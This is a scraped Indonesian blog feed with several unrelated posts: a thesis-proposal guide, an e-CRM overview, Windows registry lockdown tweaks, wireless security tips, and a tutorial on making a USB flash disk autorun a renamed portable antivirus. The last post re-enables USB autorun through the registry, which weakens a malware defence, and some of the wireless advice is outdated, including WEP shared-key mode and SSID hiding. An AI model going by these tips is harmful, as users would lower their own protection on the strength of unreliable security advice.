diidentifikasi melalui pengujian atau evaluasi terhadap hasil- hasil iptek terbaik saat ini yang sesuai dengan topik penelitian. Pengujian dilakukan berdasarkan indikator/ parameter standar sesuai teori yang ada. Contoh parameter standar kualitas perangkat lunak dari sisi transisi produk menurut McCall adalah interoperability, reusability, dan portability. Lakukan pengujian terhadap produk atau sistem berdasarkan parameter tersebut. Bila tidak ada satu pun perangkat lunak yang sesuai dengan topik penelitian dapat memenuhi seluruh standar tersebut, maka ini peluang bagi mahasiswa untuk melakukan penelitian bagi penyempurnaannya. Dengan demikian dapat dipastikan hasil penelitian ini nantinya akan memiliki nilai tambah dalam pengembangan iptek. Pada sisi lain kesanggupan memaknai suatu phenomena berdasarkan empiri sensual (indera), lojik, dan etik serta penguasaan terhadap state of the art sesuai minat dan bidang keahlian perlu dimiliki oleh setiap mahasiswa. Telaah pustaka atau studi pustaka harus dilakukan sejak proses identifikasi masalah hingga penulisan latar belakang ini. Pustaka yang ditelaah sebaiknya berasal dari jurnal atau publikasi hasil- hasil penelitian terkini agar state of the art diperoleh. Cantumkan referensi- referensi yang digunakan dalam pembahasan masalah baik dari sisi masyarakat pengguna maupun dari sisi pengembangan iptek.

B. RUMUSAN MASALAH Keberhasilan dalam melakukan studi pendahuluan, seperti yang tertuang dalam latar belakang, sangat menentukan ketajaman rumusan masalah. Rumusan “Lambannya proses pencarian data transaksi bulanan berdasarkan klasifikasi tertentu”, belum dapat dikategorikan sebagai rumusan masalah penelitian teknik informatika. Mahasiswa perlu melakukan studi lebih mendalam terhadap mekanisme pencarian yang digunakan. Bila ternyata kelambanan itu disebabkan oleh logika pencarian yang kurang baik, lakukan kajian terhadap berbagai algoritma searching terbaik saat ini untuk menemukan kelemahannya. Apabila tidak ditemukan, maka sebaiknya mencari topik yang lain. Namun bila dijumpai kelemahan misalnya pada algoritma binary search, rumuskan kelemahan algoritma tersebut. Rumusan masalah yang berkaitan dengan belum adanya sistem, alat bantu, atau model tertentu yang dibutuhkan saat ini harus disertai data, argumentasi yang memadai, dan berlaku secara umum, tidak pada objek atau lokus tertentu. Misalnya “Belum tersedianya alat bantu perencanaan anggaran daerah”, maka perlu didukung oleh referensi yang menyatakan hal itu, bahwa di seluruh dunia alat bantu tersebut belum pernah diciptakan. Bentuk rumusan masalah (problem statement) adalah dalam kalimat deklaratif, tidak dalam bentuk kalimat tanya (research question) seperti pada penelitian ilmu-ilmu sosial/ penelitian kuantitatif (penelitian ilmu sosial pun tidak mengharuskan rumusan masalahnya dalam bentuk kalimat tanya) (Dikti, 2006), melainkan dalam bentuk pernyataan (state of the problem) yang merupakan rumusan dari masalah- masalah yang telah terindentifikasi. Research Question sering digunakan dalam penelitian kuantitatif, biasanya untuk memudahkan penyusunan kalimat hipotesis. Meskipun demikian research question perlu diawali dengan rumusan masalah yang jelas terlebih dahulu. Bila penelitian berjenis nonrekayasa, bagian ini juga merupakan pendekatan untuk penyelesaian masalah sehingga dapat dilengkapi pula dengan definisi, asumsi, lingkup penelitian, dan hipotesis.

C. TUJUAN PENELITIAN Tujuan Penelitian disusun berdasarkan rumusan masalah yang telah ditetapkan sehingga bila tujuan penelitian tercapai, maka akan diperoleh solusi bagi pengatasan masalah secara langsung. Tujuan penelitian juga merupakan output/ target yang terukur sehingga evaluasi hasil dapat diukur melalui ketercapaian tujuan penelitian ini. Hindari penggunaan kalimat aktif, misal: ”Merancang ……..” atau “Membangun…..” sebab proses merancang yang hanya sampai 50% saja sudah termasuk kategori merancang. Hal ini berbeda bila digunakan kalimat “Terwujudnya rancangan …..”. Kalimat ini lebih terukur karena bila rancangan tidak terwujud berarti tujuan penelitian tidak tercapai. Penelitian dapat bertujuan untuk menjajagi, menguraikan, membuktikan, menerapkan suatu gejala, konsep, atau dugaan terutama pada penelitian nonrekayasa. Kalimat tujuan pada jenis penelitian ini pun juga harus terukur sehingga peneliti dapat mengukur dan menyajikan ketercapaian penelitiannya sendiri.

D. MANFAAT PENELITIAN Manfaat penelitian merupakan perkiraan bila tujuan penelitian tercapai. Hal ini dapat diperkirakan melalui outcome/ dampaknya bagi masyarakat dan dunia iptek. Paling tidak terdapat tiga nilai tambah yang harus diberikan oleh suatu penelitian, yakni bagi masyarakat pengguna, bagi pengembangan iptek, dan bagi peningkatan nilai ekonomi. Bila penelitian berkaitan dengan kebijakan, misalnya jenis penelitian evaluasi, maka perlu diuraikan pula manfaat bagi kebijakan institusi.

E. LANDASAN TEORI Landasan teori berisi uraian teori, temuan, dan bahan penelitian lainnya yang dijadikan landasan untuk menyusun kerangka teori atau construct yang akan digunakan dalam penelitian, berupa hubungan antarvariabel/ objek yang mengacu pada rumusan masalah. Pada penelitian rekayasa tinjauan terhadap penelitian- penelitian yang ada, teori- teori, model, formula, dan sebagainya digunakan untuk menyusun kerangka pemikiran yang dijadikan landasan dalam perencanaan, perancangan, pembangunan, penerapan, atau pengembangan model, metode, konstruksi, komponen, produk, atau sistem. Terdapat kemungkinan dimanfaatkannya teori dari bidang ilmu lain, seperti formula, atau model yang siap direkayasa agar menjadi alat bantu, emulator, perangkat lunak aplikasi, dan sebagainya. Kajian pustaka yang melandasi rekayasa didasarkan pada state of the art (dari jurnal penelitian terbaru) maupun teori- teori yang telah matang (dari textbook) yang diupayakan asli dari sumbernya sehingga terdapat kemungkinan berasal dari tahun- tahun yang sudah lama berlalu. Kelompokkan hasil- hasil kajian tersebut ke dalam sub-subbab secara terstruktur (tidak linier) sesuai dengan kerangka yang disusun berdasarkan topik atau judul penelitian. Bedakan secara tegas antara teori dan definisi atau terminologi. Definisi maupun terminologi yang sudah umum diketahui masyarakat TI tidak perlu diuraikan lagi, misal pengertian tentang informasi, perangkat lunak, data flow diagram, dan sebagainya. Bab landasan teori harus lebih sarat dengan teori, postulat, hukum, dalil, aksioma, formula, asumsi dan sebagainya yang mendukung pembentukan kerangka teori atau kerangka pemikiran rekayasa. Oleh sebab itu sebenarnya penelitian sudah dapat dikatakan selesai saat kerangka teori atau kerangka pemikiran diperoleh, sekalipun belum dibuktikan. Sebagai contoh teori bigbang dan teori relativitas sudah dikatakan sebagai teori sekalipun belum terbuktikan karena berbagai keterbatasan yang ada. Namun bila tidak ada alasan yang dapat dipertanggungjawabkan, maka semua kerangka teori atau kerangka pemikiran rekayasa harus dibuktikan secara empiris sebagai bagian dari kaidah ilmiah. Kerangka teori atau kerangka pemikiran yang telah tersusun perlu ditulis dalam subbab tersendiri. Kerangka pemikiran rekayasa perlu dilengkapi dengan ringkasan rumusan masalah sebagai masukan pemikiran, dan ringkasan tujuan sebagai keluaran hasil pemikiran yang sekaligus menjadi solusi. Lihat contoh berikut ini.

Kerangka pemikiran ini merupakan rancangan penelitian guna penyelesaian masalah sulitnya memahami program sumber suatu sistem besar yang ditulis dengan bahasa fortran, dengan maksud untuk memahami dan memperoleh komponen- komponen, fungsi, struktur, dan data bagi keperluan penyempurnaan sistem (reengineering). Dokumen rancangan tidak tersedia (alien code), metode observasi belum ada, alat bantu observasinya pun juga belum pernah diciptakan orang, sementara program yang ditulis dengan bahasa fortran cenderung tidak terstruktur (spaghetti code). Diperlukan metode dan alat bantu untuk mengobservasi program hingga diperoleh pemahaman dan komponen- komponen, fungsi, struktur, dan data untuk kemudian direpresentasikan ke dalam bentuk diagram (action diagram). Berdasarkan teori, model, dan metode tentang reverse engineering peneliti menyusun kerangka tersebut di atas. Dari kerangka pemikiran tersebut tampak bahwa masalah yang muncul dapat terselesaikan dengan pendekatan dan fungsi yang disusun sehingga dihasilkan metode dan alat bantu observasi struktur program.

F. METODE PENELITIAN
Metode penelitian dapat pula diartikan sebagai prosedur, alat-alat, dan bahan yang digunakan dalam penelitian yang bersifat khas dan khusus untuk penelitian yang dirancang. Sehingga apabila metode ini dilakukan sekali lagi oleh peneliti yang berbeda, maka akan diperoleh hasil yang sama dengan peneliti sebelumnya. Ini sesuai dengan prinsip objektivitas dalam pandangan positivisme. Apabila metode ini dapat digunakan juga oleh peneliti lain untuk menyelesaikan masalah yang berbeda (bukan objek atau lokus yang berbeda) sehingga kemudian menghasilkan sesuatu yang berbeda pula, maka
metode tersebut tidak tepat, terlalu umum, dan tidak khas. Metode penelitian disusun dengan mengacu pada kerangka pemikiran atau kerangka teori yang telah dibentuk. Alat, bahan, dan prosedur yang dilakukan dalam penelitian perlu dicantumkan dengan jelas dan rinci. Demikian pula model, variabel, construct, definisi operasional, teknik pengumpulan data, teknik analisis, cara penafsiran, dan penyimpulan hasil penelitian harus khas untuk penelitian tersebut. Hal ini dapat diperoleh bila peneliti secara konsisten mengikuti kerangka pemikiran atau kerangka teori yang telah diperoleh, yang memiliki benang merah dengan landasan teori, tujuan, masalah, dan latar belakang penelitian.

G. JADWAL PENELITIAN
Jadwal penelitian disusun berdasarkan aktivitas yang terkandung dalam metode penelitian. Aktivitas ini adalah aktivitas yang direncanakan dilakukan bila proposal penelitian disetujui. Lengkapi jadwal ini dengan waktu mulai dan berakhirnya setiap aktivitas.

DAFTAR PUSTAKA
Halaman ini berisi pustaka/acuan yang digunakan dalam penyusunan proposal yang tersebut di latar belakang hingga kerangka pemikiran atau kerangka teori. Bila terdapat lampiran-lampiran, maka lampiran tersebut diletakkan setelah Daftar Pustaka.

Source: dinus.ac.id; on keyword: Menyusun proposal tesis; By: Stefanus St.

Referensi
Dikti, 2006, Buku Panduan Pelaksanaan Hibah Penelitian, Pengabdian kepada Masyarakat dan Program Kreativitas Mahasiswa Edisi VII (2006), Jakarta: Direktorat Penelitian Pengabdian kepada Masyarakat (DP2M), Direktorat Jenderal Pendidikan Tinggi
Stefanus S., 2005, Reverse Engineering - Teori dan Aplikasi, Semarang: Badan Penerbit Universitas Diponegoro, ISBN :979.704.311.8

]]> http://herison.pinkynet.web.id/2009/07/bagaimana-cara-menyusun-proposal-tesis-teknik-informatika/feed/ http://herison.pinkynet.web.id/2009/06/crm-dalam-konteks-e-marketing-2/ http://herison.pinkynet.web.id/2009/06/crm-dalam-konteks-e-marketing-2/#comments Fri, 19 Jun 2009 07:17:21 +0000 admin http://herison.pinkynet.web.id/?p=198 Konsep dasar e-CRM diawali dengan mengenal, mengetahui, dan menggali apa yang dibutuhkan (need) dan diharapkan (wish) pelanggan dari pesuhaan. Untuk mengenal atau mengetahui apa yang dibutuhkan, perusahaan harus memiliki catatan tentang dan dari para pelanggannya. Oleh karena itu, hendaknya perusahaan mulai mendengar dan memperhatikan umpan balik (feedback) dari pada pelanggannya untuk melakukan perubahan yang diperlukan agar terjadi relasi yang berkualitas. Kolom umpan balik (feedback) ini dapat terlihat pada kolom paling kiri (Contact Us). Pada kolom tersebut pelanggan dapat menghubungi perusahaan melalui berbagai saluran, misalnya Email, telpon, fax, mengisi formulir feedback, dan dapat mengikuti Join Mailing List (Budi Sutedjo). Dalam i-CRM dieprgunakan 4 langkah manajemen interaksi yang akan mendukung relasi prositif bagi perusahaan.

Fase pertama adalah attact (menarik perhatian). Dengan melakukan interaksi, perusahaan berharap mendapatkan perhatian dari pelanggan. Interaksi yang terjadi di dalam kegiatan pemasaran dan penjualan termasuk dalam fase ini. Contohnya program promosi produk baru, diskon pembelian ulang, akivitas tawar-menawar harga, termasuk melalui media virtual seperti internet.

Fase kedua adalah transact. Fase ini mencakup interaksi yang terjadi pada saat pembelian dan pembayaran atas produk atau jasa, termasuk di dalamnya aktivitas seperti interaksi pada saat transaksi melalui Web (jaringan).

Fase ketiga adalah service (layanan). Merupakan fase interaksi antara perusahaan dengan pelanggannya yang terjadi pada aktivitas-aktivitas seperti layanan purna jual, layanan bantuan instalasi, layanan penggunaan produk atau jasa, layanan konsultasi melalui jaringan internet dan layanan perawatan dan perbaikkan, juga interaksi pada aktivitas seperti pusat layanan per telpon, layanan perbaikkan, logistik, pengiriman. Layanan melalui jaringan juga termasuk dalam fase ketiga ini.

Fase keempat adalah enhance (peningkatan). Fase ini diharapkan mampu meningkatkan kada komitmen relasi yang dirancang untuk meningkatkan kadar komitmen relasi yang dimiliki perusahaan dan pelanggan. Interaksi-interaksi ini terjadi pada aktivitas seperti pada kampanye penjualan silang (cross sell) dan upsell, implementasi program loyalitas, program kerjasama untuk meningkatkan kesejahteraan masyarakat, dengan penggunaan secara optimal situs Web untuk tujuan-tujuan tersebut, da sebagainya.

Dengan memperhatikan manfaat i-CRM, maka aplikasi-aplikasi internet yang dapat diterapkan adalah sebagai berikut :

1.      E-mail. Merupakan jenis layanan internet yang paling populer, yang bentuknya berupa surat menyurat secara elektronik. Dengan menggunakan e-mail pada internet, perusahaan dapat mengirim atau menjawab berita kepada para konsumennya di manapun ia berada; mengirimkan file berupa penjelasan tentang suatu produk baru atau informasi promosi sebagai bagian dari berita e-mail yang dikirimnya. Keuntungan yang diperoleh dari layanan ini adalah perusahaan dapat menjalin hubungan yang lebih dekat dan cepat tanpa mengenal batas waktu selain biayanya murah.

2.      File Transfer Protocol (FTP). Melalui fasilitas ini, perusahaan publik dapat menyebarluaskan laporan keuangan atau profil perusahaan kepada perusahaan dengan biaya yang sangat murah.

3.      Multimedia (WWW). Melalui aplikasi ini, perusahaan dapat memasang halaman Web yang interaktif untuk memberi informasi atau menarik minat para calon konsumennya. Di samping itu, melalui aplikasi ini dapat dibangun e-Store atau e-Shop yang menjadi interface bagi para konsumen yang ingin berkunjung ke ruang pameran perusahaan.

4.      Internet Telephony. Memungkinkan pengguna berbicara melalui internet ke beberapa personal komputer di seluruh dunia yang dilengkap dengan peralatan penerima denga biaya koneksi internet biasa. Aplikasi ini akan membantu perusahaan lokal untuk berkomunikasi dengan konsumen global atau sebaliknya, secara mudah dan dengan biaya yang murah.

5.      Internet Fax. Selain biaya komunikasinya murah, aplikasi Internet Fax ini dapat secara otomatis mengirimkan ke sejumlah alamat Fax yang telah disimpan dalam memori komputer sebelumnya.

6.      RSS. Layanan link berita dari beberapa situs lain yang dapat diakses pelanggan dalam My RSS News feeds.

Dalam membina komunikasi dan membangun sistem i-CRM melalui internet, halaman Web menjadi interface yang utama. Artinya, melalui halaman Web orang dapat menilai reputasi maupun kinerja dari perusahaan yang saling berkomunikasi atau seorang pelanggan terhadap perusahaan yang ditujunya. Halaman Web menggambarkan wajah perusahaan. Faktor-faktor yang harus diperhatikan agar Web dapat komunikatif, interaktif, dan memiliki suatu nilai.

1.      Gagasan atau ide yang kuat dan original. Harus menggambarkan produk utama atau kompetensi utamanya. Web tidak hanya tersaji dengan format-format menu sebagaimana Web pada umumnya, tetapi perancang dapat menampilkan sesuatu yang menarik yang lahir dari gagasan-gagasan perancang sendiri.

2.      Nilai seni yang tinggi. Akan memberikan kesan yang indah, kredibel,dan terpercaya. Hal ini dapat menarik  minat pengunjung dan mendorong terjadinya transaksi.

3.      Interaktif dan komunikatif. Halaman Web yang sopan, mudah diakses dan dimengerti oleh para pelanggan akan menjadi pendukung dalam penciptaan kepercayaan para pelanggan terhadap perusahan.

4.      Animatif dan kreatif. Menciptakan sarana rekreasi bagi para pelanggan ayng sedang berkunjung ke Web tersebut.

5.      Pengetahuan yang berarti. Web selain untuk beriklan, ruang pamer dan tempat bertransaksi, tentu saja dapat digunakan sebagai wahana untuk mendidik konsumen, misalnya dengan tips atau keterangan tambahan lainnya.

6.      Ergonomic. Atau kenyamanan yang dimaksud di sini adalah nyaman bagi mata dan sesuai dengan kebiasaan (cognitive psychology), sehingga tidak membingungkan pengaksesnya.

7.      Pembaharuan materi secara kontinu. Perusahaan juga harus memikirkan proses up date informasi dan penyajiaanya.

Fasilitas yang perlu disediakan adalah fasilitas komunikasi dua arah antara perusahaan dengan pelanggan. Fasilitas itu harus ditunjang dengan respon yang cepat dan jawaban-jawaban yang tepat agar pelanggan merasa diperhatikan dan tidak dilecehkan.

Banyak menu yang penampakannya tidak terlalu penting khususnya untuk beberapa user. Bahkan tidak jarang menampakkan menu dapat membuat user yang tidak kompeten melakukan perubahan-perubahan yang sifatnya merusak atau mengganggu. Oleh sebab itu, tidak ada salahnya Anda melakukan hal ini jika memang dianggap perlu.

1. Sembunyikan Menu Find
Anda dapat menyembunyikan menu Find agar user yang sedang menggunakan komputer Anda tidak dapat menggunakan menu ini untuk kepentingan yang tidak diinginkan. Misalnya mencari dokumen yang tidak seharusnya dapat ia temukan. Caranya: masuklah ke dalam HKEY_CURENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer. Kemudian pada halaman di sebelah kanan klik kanan dan pilih New, DWord Value. Lalu berikan nama ‘NoFind’. Setelah itu klik ganda pada DWord ‘NoFind’ dan berikan nilai 1.

2. Sembunyikan Recent Doc…
Penyembunyian shortcut-shortcut pada recent document akan menutup kemungkinan file sebelum untuk terakses dengan orang lain. Sehingga orang lain tidak akan mengubah file yang baru saja Anda buka. Cara menyembunyikannya buka HKEY_CURENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer. Lalu buat DWord baru seperti langkah di atas dan berikan nama ‘NoRecentDocsMenu’.
Kemudian berikan nilai 1 pada DWord baru tersebut. Maka, recent document Anda tidak akan lagi memunculkan isinya.

3. Sembunyikan Menu Run
Anda dapat juga menyembunyikan menu Run. Mengingat menu run dapat membuat seseorang menjalankan beberapa aplikasi tertentu yang berbahaya bagi system seperti regedit, msconfig, dan masih banyak lagi. Cara menyembunyikannya sama dengan langkah-langkah berikutnya, yaitu masuk ke HKEY_CURENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer. Lalu buat DWord baru dan berikan nama ‘NoRun’. Kemudian berikan nilai 1 pada DWord baru tersebut.

4. Sembunyikan Control Panel
Sembunyikan juga control panel! Mengingat di dalamnya banyak sekali menu yang erat kaitannya dengan system Anda. Meskipun login-nya sudah diatur, tetap saja ada beberapa menu yang dapat aktif. Cara menyembunyikan control panel adalah sebagai berikut: buka HKEY_CURENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advance. Ganti nilai DWord ‘Start_ShowControlPanel menjadi 0. Jika belum ada DWord tersebut, maka Anda harus membuatnya terlebih dahulu seperti pada langkah sebelumnya.

5. Sembunyikan Log Off
Log off disembunyikan agar seseorang tidak sembarangan menggunakan login ID yang lain selain yang diperbolehkan. Log off ini sangat berguna juga bagi komputer yang digunakan dalam penyewaan. Cara menyembunyikan opsi ini adalah buka HKEY_CURENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer. Lalu klik kanan pada bagian sebelah kanan dan pilih New, Binary Value. Berikan nama padanya ‘NoLogOff’. Kemudian klik ganda pada Binary yang baru dan masukkan nilai 01 00 00 00.

6. Sembunyikan Shutdown
Selain opsi Log off, Anda juga dapat menyembunyikan opsi Shut-Down. Caranya cukup dengan pergi ke folder HKEY_CURENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, lalu buatlah DWord baru. Berikan nama ‘NoClose’ pada DWord baru tersebut. Kemudian berikan nilai 1 pada DWord tersebut. Cara ini efektif agar orang lain tidak sembarangan mematikan komputer yang Anda inginkan.

7. Nonaktif Display Properties
User terkadang suka usil mengganti wallpaper atau screensaver atau sekadar mengatur resolusinya yang tentunya dapat sedikit memberikan gangguan pada pengguna selanjutnya atau Anda sendiri. Bila diinginkan Anda dapat menghilangkan opsi ini. Caranya pergi ke HKEY_CURENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies. Lalu pada folder buatlah sub-folder baru (klik kanan dan pilih New, Key). Berikan nama System. Kemudian di halaman sebelah kanan ‘System’. Buat DWord baru dengan nama NoDispCPL dan berikan nilai 1.

Source: Old Documents From My Hardisk (unknown)

Jaringan nirkabel atau yang sering disebut dengan wireless network cukup mudah untuk di set-up, dan juga terasa sangat nyaman, terutama jika kita menginginkan agar bisa berjalan jalan keliling rumah atau kantor dengan komputer portable tetapi tetap bisa tetap mengakses jaringan internet. Namun, karena wireless menggunakan gelombang, maka akan lebih mudah untuk di-hack daripada koneksi yang menggunakan kabel. Ada beberapa tips disini untuk mengamankan wireless network.

Adapun langkah langkahnya sebagai berikut:

1. Memakai enkripsi.
Enkripsi adalah ukuran security yang pertama, tetapi banyak wireless access points (WAPs) tidak menggunakan enkripsi sebagai defaultnya. Meskipun banyak WAP telah memiliki Wired Equivalent Privacy (WEP) protocol, tetapi secara default tidak diaktifkan. WEP memang mempunyai beberapa lubang di securitynya, dan seorang hacker yang berpengalaman pasti dapat membukanya, tetapi itu masih tetap lebih baik daripada tidak ada enkripsi sama sekali. Pastikan untuk men-set metode WEP authentication dengan “shared key” daripada “open system”. Untuk “open system”, dia tidak meng-encrypt data, tetapi hanya melakukan otentifikasi client. Ubah WEP key sesering mungkin, dan pakai 128-bit WEP dibandingkan dengan yang 40-bit. 

2. Gunakan enkripsi yang kuat.
Karena kelemahan kelemahan yang ada di WEP, maka dianjurkan untuk menggunakan Wi-Fi Protected Access (WPA) juga. Untuk memakai WPA, WAP harus men-supportnya. Sisi client juga harus dapat men-support WPA tsb.

3. Ganti default password administrator.
Kebanyakan pabrik menggunakan password administrasi yang sama untuk semua WAP produk mereka. Default password tersebut umumnya sudah diketahui oleh para hacker, yang nantinya dapat menggunakannya untuk merubah setting di WAP anda. Hal pertama yang harus dilakukan dalam konfigurasi WAP adalah mengganti password default tsb. Gunakan paling tidak 8 karakter, kombinasi antara huruf dan angka, dan tidak menggunakan kata kata yang ada dalam kamus.

4. Matikan SSID Broadcasting.
Service Set Identifier (SSID) adalah nama dari wireless network kita. Secara default, SSID dari WAP akan di broadcast. Hal ini akan membuat user mudah untuk menemukan network tsb, karena SSID akan muncul dalam daftar available networks yang ada pada wireless client. Jika SSID dimatikan, user harus mengetahui lebih dahulu SSID-nya agak dapat terkoneksi dengan network tsb.

5. Matikan WAP saat tidak dipakai.
Cara yang satu ini kelihatannya sangat simpel, tetapi beberapa perusahaan atau individual melakukannya. Jika kita mempunyai user yang hanya terkoneksi pada saat saat tertentu saja, tidak ada alasan untuk menjalankan wireless network setiap saat dan menyediakan kesempatan bagi intruder untuk melaksanakan niat jahatnya. Kita dapat mematikan access point pada saat tidak dipakai.

6. Ubah default SSID.
Pabrik menyediakan default SSID. Kegunaan dari mematikan broadcast SSID adalah untuk mencegah orang lain tahu nama dari network kita, tetapi jika masih memakai default SSID, tidak akan sulit untuk menerka SSID dari network kita.

7. Memakai MAC filtering.
Kebanyakan WAP (bukan yang murah murah tentunya) akan memperbolehkan kita memakai filter media access control (MAC). Ini artinya kita dapat membuat “white list” dari computer computer yang boleh mengakses wireless network kita, berdasarkan dari MAC atau alamat fisik yang ada di network card masing masing pc. Koneksi dari MAC yang tidak ada dalam list akan ditolak.
Metode ini tidak selamanya aman, karena masih mungkin bagi seorang hacker melakukan sniffing paket yang kita transmit via wireless network dan mendapatkan MAC address yang valid dari salah satu user, dan kemudian menggunakannya untuk melakukan spoof. Tetapi MAC filtering akan membuat kesulitan seorang intruder yang masih belum jago jago banget. 

8. Mengisolasi wireless network dari LAN.
Untuk memproteksi internal network kabel dari ancaman yang datang dari wireless network, perlu kiranya dibuat wireless DMZ atau perimeter network yang mengisolasi dari LAN. Artinya adalah memasang firewall antara wireless network dan LAN.
Dan untuk wireless client yang membutuhkan akses ke internal network, dia haruslah melakukan otentifikasi dahulu dengan RAS server atau menggunakan VPN. Hal ini menyediakan extra layer untuk proteksi.

9. Mengontrol signal wireless
802.11b WAP memancarkan gelombang sampai dengan kira kira 300 feet. Tetapi jarak ini dapat ditambahkan dengan cara mengganti antenna dengan yang lebih bagus. Dengan memakai high gain antena, kita bisa mendapatkan jarak yang lebih jauh. Directional antenna akan memancarkan sinyal ke arah tertentu, dan pancarannya tidak melingkar seperti yang terjadi di antenna omnidirectional yang biasanya terdapat pada paket WAP setandard. Selain itu, dengan memilih antena yang sesuai, kita dapat mengontrol jarak sinyal dan arahnya untuk melindungi diri dari intruder. Sebagai tambahan, ada beberapa WAP yang bisa di setting kekuatan sinyal dan arahnya melalui config WAP tsb.

10. Memancarkan gelombang pada frequensi yang berbeda.
Salah satu cara untuk bersembunyi dari hacker yang biasanya memakai teknologi 802.11b/g yang lebih populer adalah dengan memakai 802.11a. Karena 802.11a bekerja pada frekwensi yang berbeda (yaitu di frekwensi 5 GHz), NIC yang di desain untuk bekerja pada teknologi yang populer tidak akan dapat menangkap sinyal tsb.

source: IlmuKomputer.com

Bagaimana tidak kita akali saja dengan Membuat Anti Virus AutoRun dari USB Removable Drive semacam Flash Disk?
Seringkali Virus akan membuat file “autorun.inf” yang ber-attribute file hidden dan system (dan/atau bisa juga termasuk file virus/trojan - server) begitu Anda memasangkan Flask Disk yang dijadikan target penginfeksian virus ataupun target pengintipan aktivitas user atau pencurian data user dengan Trojan.
file autorun.inf inilah command atau pemicu tereksekusinya file induk dan library virus/trojan yang sudah bersarang di komputer lokal atau jaringan tempat Flash Disk Anda berinteraksi dan berhubungan langsung.

Bila Anda pengguna OS Windows, seperti kita ketahui, Versi Windows sebelum generasi Windows Vista (termasuk Windows Windows XP), secara default tidak mengijinkan proses “AutoRun” executable files dari media USB Removable Drives seperti External Hardisk ataupun Flash Drive/Flash Disk (kecuali dari media cakram digital) yang kemungkinan besar ditujukan untuk kepentingan keamanan. Windows hanya mengijinkan proses “AutoPlay” media saja seperti AutoPlay Movie/Music dari DVD atau command seperti Open/View file melalui windows explorernya.
Untungnya (dari faktor kemudahan) sekaligus sayangnya (dari faktor keamanan), Windows Vista secara default telah memperkenankan proses “AutoRun” dilangsungkan dengan dafault opsi yang bisa Anda pilih secara permanen.

Lalu bagaimana mengakali Windows XP agar bisa mengijinkan proses “AutoRun” executable files dari removable drives seperti External Hardisk maupun Flash Disk?
Di bawah ini Penulis sampaikan teknis pembuatan AutoRun AntiVirus pada Flash Disk.

LANGKAH I - Download ANtiVirus yang bersifat Portable
Kenapa harus Portable? Karena tujuan dari pembuatan AutoRun File dari Flash juga bersifat portable, jadi program rujukan, dalam hal ini Anti Virus, bisa dijalankan langsung dari Flash Drive tanpa diperlukan instalasi.
Anda bisa menggunakan ANSAV (Ansav.exe - jangan ANSAV Security Guard) atau PCMAV (PCMAV-CLN.EXE - Jangan PCMAV-RTP.EXE)
Masukkan file Anti Virus Portable (plus file library pendukungnya - bila ada) tersebut ke dalam Flash Disk Anda. Dalam contoh kali ini, untuk mempermudah, letakkan saja di Root Flash Disk Anda tanpa perlu Anda masukkan ke dalam folder.

LANGKAH II - Pembuatan AutoRun Dari Flash Disk
Ada 2 (dua) opsi yang bisa Anda pilih:

1. Menggunakan bantuan software orang lain, atau
2. Menggunakan bantuan tangan Anda sendiri

1. Menggunakan bantuan software orang lain
Nomor ini tidak akan menjadi bahan pembicaraan inti pada Artikel ini.
Namun bila Anda menghendaki, Penulis merekomendasikan Anda untuk menggunakan aplikasi bernama APO USB AutoRun yang sangat bagus dan berkualitas, berfungsi dengan baik pada Windows XP SP2, berukuran file kecil, dan gratis lagi.
APO AutoRun USB akan membuat service bernama autorunusb.exe yang berjalan di background sebagai detektor yang bertugas memindai file autorun.inf pada root removable drive dan mendeteksi semua executable files pada media removable drive serta akan mencocokkan executable files tersebut dengan file name dan path file yang dirujuk oleh file autorun.inf tersebut.
Yang penulis heran dari software ini, APO tetap akan melakukan scan pada seluruh executable files yang ada pada media removable drives.
Namun, walau efeknya sedikit memperlambat kinerja komputer, proses scanning tersebut Penulis cermati dan rasakan sangat bermanfaat juga untuk memindai keberadaan Virus pada Removable Drives yang belum sempat terdeteksi oleh AntiVirus yang aktif di komputer. Begitu proses scanning menemukan suatu executable files atau script yang dianggap sebagai malware oleh AntiVirus tersebut, maka akan memicu (trigger) notifikasi dari AntiVirus bahwa telah ditemukan threat (virus).
Sayangnya APO AutoRun USB harus Anda install dulu sebelum Anda bisa mengaplikasikan AutoRun dari flash disk. Untungnya APO AutoRun USB juga telah menyertakan instalasi untuk keperluan portable plus autorun.inf builder.

2. Menggunakan bantuan tangan Anda sendiri
Teknik yang bisa Anda lakukan adalah pertama-tama dengan sedikit mengubah struktur HEX pada Windows Registry.

Bila sebelumnya atau secara default Windows tidak mengijinkan proses “AutoRun” dari USB Flash Disk, maka Registry-nya seperti ini:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000095

Agar Windows bisa mengijinkan proses “AutoRun” dari USB Flash Disk, maka ubah Registrynya menjadi:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
“NoDriveTypeAutoRun”=dword:00000091

Anda bisa mengCopy Registry Lines tersebut, lalu Anda simpan sebagai (misal): “AutoRun_Removable_Media_Enable.reg” untuk Anda Klik kanan dan Merge (gabungkan) dengan Windows Registry Database.

Setelah Anda berhasil memasukkan Registry Entry Files ke dalam Windows Registry Database, maka pekerjaan Anda yang terakhir adalah membuat file “autorun.inf” yang berfungsi sebagai Command dengan rujukan ke File Anti Virus yang telah Anda download dan masukkan ke dalam Flash Disk Anda (pada Langkah I)
Dalam contoh ini, Penulis menggunakan PC Media Anti Virus PCMAV-CLN.EXE yang filenamenya telah Penulis ubah menjadi PCM4V-CL34N32.EXE guna menghindari pendeteksian Virus yang dimungkinkan akan memblokir PCMAV-CLN.EXE.
Maka file “autorun.inf” PCMAV menjadi seperti ini:

PC Media Anti Virus
[AutoRun]
open=PCM4V-CL34N32.EXE
icon=PCMAV.ICO
shellexecute=PCM4V-CL34N32.EXE
shell\Scan Virus\command=PCM4V-CL34N32.EXE
shell=Scan Virus

Salin baris-baris INF tersebut, dan simpan sebagai .INF file dengan nama “autorun.inf” (tanpa tanda kutip), kemudian letakkan file “autorun.inf” tersebut pada Root Flash Disk Anda.

KETERANGAN

